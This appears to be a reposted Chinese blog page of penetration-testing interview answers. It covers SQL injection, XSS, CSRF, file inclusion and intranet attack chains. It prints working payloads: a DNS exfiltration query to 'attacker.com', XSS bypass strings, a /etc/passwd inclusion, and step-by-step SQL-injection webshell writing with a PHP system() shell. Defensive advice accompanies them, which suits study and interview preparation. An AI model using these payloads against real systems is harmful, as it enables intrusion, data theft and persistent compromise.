当前位置: 首页 > news >正文

2025年渗透测试面试题总结-55(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

2. SQL注入盲注方法

3. SQL注入防护措施

4. XSS攻防全景

5. 同源策略(SOP)本质

6. CSRF攻击与防护

7. 逻辑漏洞大全

8. 文件包含 & 变量覆盖

9. SQL注入写WebShell

10. 内网渗透速查表

2、SQL注入盲注的方法
3、如何防范SQL注入
4、xxs有哪些和绕过方式以及防护方式
5、同源性法制你了解吗
6、csrf可以干什么怎么防护
7、逻辑漏洞有哪些
8、文件包含以及变量覆盖
9、SQL注入如何写shell
10、内网渗透

2. SQL注入盲注方法

核心原理:无回显时通过条件判断提取数据

类型技术手段工具
布尔盲注构造True/False条件(如 id=1 AND SUBSTR(database(),1,1)='a'),根据页面差异推断sqlmap、Burp Intruder
时间盲注利用延时函数(SLEEP(2)),响应时间判断条件成立IF(1,SLEEP(5),0) + 时间统计
DNSLog外带触发DNS查询泄露数据(LOAD_FILE(CONCAT('\\\\',(SELECT user()),'.attacker.com\\a'))DNSLog平台

3. SQL注入防护措施

分层防御体系

  1. 输入处理
    • 参数化查询(PreparedStatement
    • 严格白名单校验(如邮箱格式:/^[a-z0-9_@.-]+$/i
  2. 权限控制
    • 数据库账户降权(禁用FILEEXECUTE权限)
    • 最小化错误信息暴露
  3. 运行时防护
    • WAF规则(拦截UNION SELECTxp_cmdshell等特征)
    • RASP(运行时应用自保护)实时阻断注入行为

4. XSS攻防全景

攻击类型与绕过

类型绕过案例防护方案
反射型XSS编码绕过:<img src=x onerror=alert(1)>输入过滤 + 输出HTML实体化
存储型XSSSVG标签注入:<svg><script>...</script>CSP策略:default-src 'self'
DOM型XSS利用eval()location.hash 执行避免客户端动态解析不可信数据

进阶绕过技术

  • Unicode编码:\u003cscript\u003e...
  • 事件处理器变形:onmouseoveronmo%75seover

5. 同源策略(SOP)本质

定义:限制不同源(协议+域名+端口)的脚本访问对方资源
关键限制

  • 禁止读取跨域AJAX响应(除非CORS)
  • 禁止操作跨域iframe DOM(可通过postMessage通信)
    渗透影响
  • 绕过SOP需依赖服务端漏洞(如JSONP劫持、CORS配置错误)

6. CSRF攻击与防护

攻击流程

mermaidsequenceDiagram 用户-->恶意网站: 点击钓鱼链接 恶意网站-->目标网站: 伪造请求(自动携带Cookie) 目标网站-->用户: 执行恶意操作(转账/改密)

防护方案

  • Token验证:表单中嵌入随机Token(服务端校验)
  • SameSite Cookie:设置SameSite=Strict
  • 关键操作二次验证:密码确认/短信验证码

7. 逻辑漏洞大全

四大高危场景

  1. 权限控制缺失
    • 垂直越权:普通用户访问管理员API(/admin/deleteUser?id=任意ID
  2. 业务流绕过
    • 支付漏洞:修改商品价格为0(抓包篡改price=0
  3. 竞争条件
    • 并发充值:无限重复请求导致余额倍增
  4. 验证机制缺陷
    • 密码重置Token未失效(重复使用或可预测)

8. 文件包含 & 变量覆盖

漏洞类型

漏洞案例防护
文件包含include($_GET['file'])?file=/etc/passwd禁用动态包含 + 白名单控制
变量覆盖extract($_POST) 覆盖$is_admin变量避免extract()/parse_str()

9. SQL注入写WebShell

前提条件

  • 数据库有FILE权限 + Web目录可写 + 知道绝对路径
    操作步骤
sql1. 查询路径:SELECT @@basedir; -- 获取安装路径 2. 写入Shell: UNION SELECT "<?php system($_GET['c']);?>", NULL INTO OUTFILE '/var/www/shell.php' 3. 访问执行:http://target.com/shell.php?c=id 

绕过技巧

  • 十六进制编码:SELECT 0x3C3F706870... INTO OUTFILE
  • 分块写入:使用filesplit函数绕过长度限制

10. 内网渗透速查表

攻击链五阶段

阶段工具/技术目标
信息收集Responder(LLMNR毒化)、BloodHound绘制域拓扑
横向移动Pass-the-Hash、Kerberoasting攻击获取域控权限
持久化Golden Ticket、Shadow Copy后门维持长期控制
数据渗出DNS隧道(dnscat2)、ICMP隐蔽信道绕过流量监控
痕迹清理Meterpreter的timestomp、日志注入消除入侵证据

文章转载自:

http://14xI6WZi.nxbkw.cn
http://BQMln2Js.nxbkw.cn
http://jAXMljsz.nxbkw.cn
http://an2TUjh8.nxbkw.cn
http://Bwll0Bjc.nxbkw.cn
http://ygvgyhU9.nxbkw.cn
http://8EVuTgUY.nxbkw.cn
http://2fNId21e.nxbkw.cn
http://McRDacCS.nxbkw.cn
http://jcoLeCeF.nxbkw.cn
http://p4urAwja.nxbkw.cn
http://w62HYjWK.nxbkw.cn
http://hZt1nIKw.nxbkw.cn
http://JN4bBrnF.nxbkw.cn
http://BokCt1bo.nxbkw.cn
http://gHY6bcRz.nxbkw.cn
http://7lhawm9S.nxbkw.cn
http://fITymUpi.nxbkw.cn
http://PWMPPox4.nxbkw.cn
http://YihPCBPn.nxbkw.cn
http://BPpGQ9e1.nxbkw.cn
http://X8rA19YO.nxbkw.cn
http://WwJhqQBY.nxbkw.cn
http://MBpWMtfB.nxbkw.cn
http://0dKYVPVG.nxbkw.cn
http://G3EkFLAm.nxbkw.cn
http://aVw0jEE7.nxbkw.cn
http://gnkwJpdo.nxbkw.cn
http://kGvs8DxC.nxbkw.cn
http://Ljsnu6qv.nxbkw.cn
http://www.dtcms.com/a/370157.html

相关文章:

  • %前置模糊查询优化
  • 【架构艺术】变更风险防控架构嵌入决策降噪模块的方法
  • ElmentUI之DateTimePicker 日期时间选择器
  • RabbitMQ 入门与 Go 语言实践
  • [Upscayl图像增强] Electron主进程命令 | 进程间通信IPC
  • 80(HTTP默认端口)和8080端口(备用HTTP端口)区别
  • AI模型测评平台工程化实战十二讲(第一讲:从手工测试到系统化的觉醒)
  • FreeMarker快速入门指南
  • python的数据结构
  • Spark 中spark.implicits._ 中的 toDF和DataFrame 类本身的 toDF 方法
  • 基于Spark的中文文本情感分析系统研究
  • 《用 asyncio 构建异步任务队列:Python 并发编程的实战与思考》
  • Python+DRVT 从外部调用 Revit:批量创建梁(2)
  • 数据库原理及应用_数据库管理和保护_第5章数据库的安全性_理论部分
  • 开源OpenHarmony润开鸿HH-SCDAYU800A开发板开箱体验
  • 第27节:3D数据可视化与大规模地形渲染
  • 《云原生故障诊疗指南:从假活到配置漂移的根治方案》
  • illustrator插件大全 免费插件介绍 Ai设计插件集合 (5)
  • Kubernetes (k8s)
  • 交叉编译器介绍
  • 2025最新超详细FreeRTOS入门教程:第二章 FreeRTOS任务创建
  • Webpack热更新(HMR)底层原理详解
  • repo 学习教程
  • 54.【.NET8 实战--孢子记账--从单体到微服务--转向微服务】--新增功能--实现手机邮箱注册
  • C/C++内存管理详解:从基础到精通的完整指南
  • 鸿蒙Next开发指南:UIContext接口解析与全屏拉起元服务实战
  • 系统编程day05-进程间通信-信号
  • OpenHarmony之有源NFC-connected_nfc_tag模块详解
  • 吴恩达机器学习合集
  • java基础学习(五):对象中的封装、继承和多态